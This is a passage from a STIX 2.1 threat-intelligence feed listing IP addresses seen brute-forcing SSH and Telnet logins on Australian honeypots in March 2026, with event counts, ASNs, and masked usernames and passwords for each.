      "id": "indicator--93f7ec1d-6983-440c-841f-933f54825417",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '177.124.88.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T20:15:13.000Z",
      "valid_until": "2026-04-11T20:15:11.000Z"
    },
    {
      "created": "2026-03-10T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 208. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UZ. ASN(s): 197984. Organisation(s): State Unitary Enterprise Scientific Engineering and Marketing Researches Center UNICON.UZ. Usernames observed (masked): r**t, 3**********4, l**s, t******a, a***r. Passwords observed (masked): ***, 1***5, 3***********4, 3**********4, 1**9.",
      "id": "indicator--71552f27-310c-4745-ac5b-c08eef8d18a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '194.107.115.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T20:15:13.000Z",
      "valid_until": "2026-04-11T20:15:11.000Z"
    },
    {
      "created": "2026-03-10T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): d***d, 3**********4, a***n, a*****r, b*****e. Passwords observed (masked): 1****6, ***, 1***5, 1******8, 3***********4.",
      "id": "indicator--ab700a5b-cd05-43d8-a938-5e44e78b2c48",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.159.35.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T20:15:13.000Z",
      "valid_until": "2026-04-11T20:15:11.000Z"
    },
    {
      "created": "2026-03-10T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--a232169d-2614-49b1-9b32-1a07d9f37a05",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.226.70.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T20:15:13.000Z",
      "valid_until": "2026-04-11T20:15:11.000Z"
    },
    {
      "created": "2026-03-10T21:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--69dbb786-2099-47a3-95be-ab5a753c7f75",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.71.37.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T21:15:14.000Z",
      "valid_until": "2026-04-11T21:15:11.000Z"
    },
    {
      "created": "2026-03-10T21:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 279. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 135905. Organisation(s): VIETNAM POSTS AND TELECOMMUNICATIONS GROUP. Usernames observed (masked): 3**********4, c***d, m******r, s******2, a***n. Passwords observed (masked): 3***********4, 3**********4, ***, 1****6, 1******8.",
      "id": "indicator--7689b590-6a10-4b7a-a6f3-f23633dfe24b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.153.73.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T21:15:14.000Z",
      "valid_until": "2026-04-11T21:15:11.000Z"
    },
    {
      "created": "2026-03-10T21:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 99. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 215117. Organisation(s): HosterDaddy Private Limited. Usernames observed (masked): ***, 3**********4, U**r, ***, c***d. Passwords observed (masked): 3***********4, 3**********4, S******3, U**r, c*******3.",
      "id": "indicator--efb9a465-e56b-4e8c-8b4b-bd92a3625f3b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '130.250.191.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T21:15:14.000Z",
      "valid_until": "2026-04-11T21:15:11.000Z"
    },
    {
      "created": "2026-03-10T21:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1**4, 1***5, 1****6, 1******8, P*******1.",
      "id": "indicator--354495c5-6186-4de6-9b38-8d2f716ef178",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '142.93.217.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T21:15:14.000Z",
      "valid_until": "2026-04-11T21:15:11.000Z"
    },
    {
      "created": "2026-03-10T21:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--18fe07a2-6abf-42e1-8291-f895207c295d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.142.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T21:15:14.000Z",
      "valid_until": "2026-04-11T21:15:11.000Z"
    },
    {
      "created": "2026-03-10T21:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--54d6aff3-ef5e-400c-9695-a78156abedff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.189.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T21:15:14.000Z",
      "valid_until": "2026-04-11T21:15:11.000Z"
    },
    {
      "created": "2026-03-10T21:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 41745. Organisation(s): Baykov Ilya Sergeevich. Usernames observed (masked): c***d, r**t, 3**********4, c****s, e***l. Passwords observed (masked): ***, 3***********4, 3**********4, Z******2, c*******3.",
      "id": "indicator--c717c1aa-c161-4702-99b4-c1ba9cccfaa1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.68.184.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T21:15:14.000Z",
      "valid_until": "2026-04-11T21:15:11.000Z"
    },
    {
      "created": "2026-03-10T21:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: SE. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt).",
      "id": "indicator--0c876d27-6905-4150-a6cb-de0c94b420c0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '192.109.200.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T21:15:14.000Z",
      "valid_until": "2026-04-11T21:15:11.000Z"
    },
    {
      "created": "2026-03-10T21:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--84233b09-9b4f-4769-a8f9-dff91b98e7e8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T21:15:14.000Z",
      "valid_until": "2026-04-11T21:15:11.000Z"
    },
    {
      "created": "2026-03-10T21:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 350. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 20473. Organisation(s): The Constant Company, LLC. Usernames observed (masked): 3**********4, a***n, m******r, ***, s******2. Passwords observed (masked): 3***********4, 3**********4, ***, 1****6, 1******8.",
      "id": "indicator--e0f7cf9d-7849-42ab-82ea-1e06340efe77",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '65.20.74.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T21:15:14.000Z",
      "valid_until": "2026-04-11T21:15:11.000Z"
    },
    {
      "created": "2026-03-10T21:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 350. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 3549. Organisation(s): Level 3 Parent, LLC. Usernames observed (masked): 3**********4, a***n, m******r, ***, s******2. Passwords observed (masked): 3***********4, 3**********4, ***, 1****6, 1******8.",
      "id": "indicator--faab50e0-cf0c-49c2-a00e-c6a87f464476",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '8.242.87.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T21:15:14.000Z",
      "valid_until": "2026-04-11T21:15:11.000Z"
    },
    {
      "created": "2026-03-10T21:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SE. ASN(s): 8434. Organisation(s): Telenor Sverige AB.",
      "id": "indicator--4f4894a9-a73d-4a2a-8eac-a1149cce1ec1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '92.35.25.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T21:15:14.000Z",
      "valid_until": "2026-04-11T21:15:11.000Z"
    },
    {
      "created": "2026-03-10T22:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--d970a383-f603-4554-ae93-0592d5105faa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T22:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.71.39.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T22:15:14.000Z",
      "valid_until": "2026-04-11T22:15:11.000Z"
    },
    {
      "created": "2026-03-10T22:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--02419229-252c-418c-a715-a6866d8a8092",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T22:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.163.206.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T22:15:14.000Z",
      "valid_until": "2026-04-11T22:15:11.000Z"
    },
    {
      "created": "2026-03-10T22:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****1, ***, 1****3, 1**4, 1***5.",
      "id": "indicator--a1fb6b01-5a49-4cc6-8f3d-8b8b5e7497ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T22:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.245.138.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T22:15:14.000Z",
      "valid_until": "2026-04-11T22:15:11.000Z"
    },
    {
      "created": "2026-03-10T22:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 46606. Organisation(s): Unified Layer. Usernames observed (masked): r**t. Passwords observed (masked): K***********6.",
      "id": "indicator--dbde914e-5852-40f1-98f6-cc26b53fe1f2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T22:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '162.240.57.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T22:15:14.000Z",
      "valid_until": "2026-04-11T22:15:11.000Z"
    },
    {
      "created": "2026-03-10T22:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 266428. Organisation(s): R L A World Net LTDA.",
      "id": "indicator--1779b473-2bb2-4481-8400-0c1f025589ad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T22:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.81.154.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T22:15:14.000Z",
      "valid_until": "2026-04-11T22:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--5f8bf1a0-402f-4ba0-b2f3-c7dee9814490",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '104.236.42.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 178. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***n. Passwords observed (masked): 1***5, 1****6, 1******8, 1*******9, a***n.",
      "id": "indicator--9e3a0980-c112-4932-82ac-5f77fe5a9dcb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '138.197.146.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n, a***********r. Passwords observed (masked): 1****6, P******d, l*****n, p******d, p******d.",
      "id": "indicator--daed5992-6611-4d63-a636-2bb929794eb1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '142.93.128.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): r**t, r*****3, r*****1.",
      "id": "indicator--ce131fc3-f610-4c0f-8620-e2215f223a4f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.182.164.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--0e1ede6e-76b8-478c-bacf-40b739889e9b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 279. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): 3**********4, c***d, ***, r**t, ***. Passwords observed (masked): ***, 3***********4, 3**********4, 1**4, D*****!.",
      "id": "indicator--c83c7f3f-ef7c-42b2-89a0-46b968bf8284",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.203.138.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 142. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***n. Passwords observed (masked): a***n, 0****0, 1****1, ***, 1****3.",
      "id": "indicator--61f1b290-4ead-4e6e-aba8-13c569a4c2d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.65.44.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, d****y, ***, h****p, o****e. Passwords observed (masked): 1****1, ***, ***, d****y, ***.",
      "id": "indicator--6da1c8a0-1d22-4829-8b07-57376a2c47dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '174.138.12.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 208. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MU. ASN(s): 23889. Organisation(s): MauritiusTelecom. Usernames observed (masked): 3**********4, c***d, d****r, r**t, T**t. Passwords observed (masked): ***, 1***5, 3***********4, 3**********4, 1**4.",
      "id": "indicator--38ed8616-bce5-4c88-92ba-669d0c8e9f09",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '197.227.8.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): a***n, r**t, s*****t. Passwords observed (masked): a***n, s*****t.",
      "id": "indicator--aff77761-0683-405a-9ae0-c111b623602b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '204.76.203.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 278. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): 3**********4, r**t, c***d, d****r, T**t. Passwords observed (masked): 3***********4, 3**********4, ***, 1***5, 1**4.",
      "id": "indicator--c391f08b-43c1-4a5c-9c79-b3111fd68d96",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '34.95.197.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): l*****3, s****1.",
      "id": "indicator--c1fd1ac5-26d8-49f7-a49b-9681bba31883",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.0']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): m*******1.",
      "id": "indicator--b89b1207-f004-4311-a3b4-3f8ef2392aff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
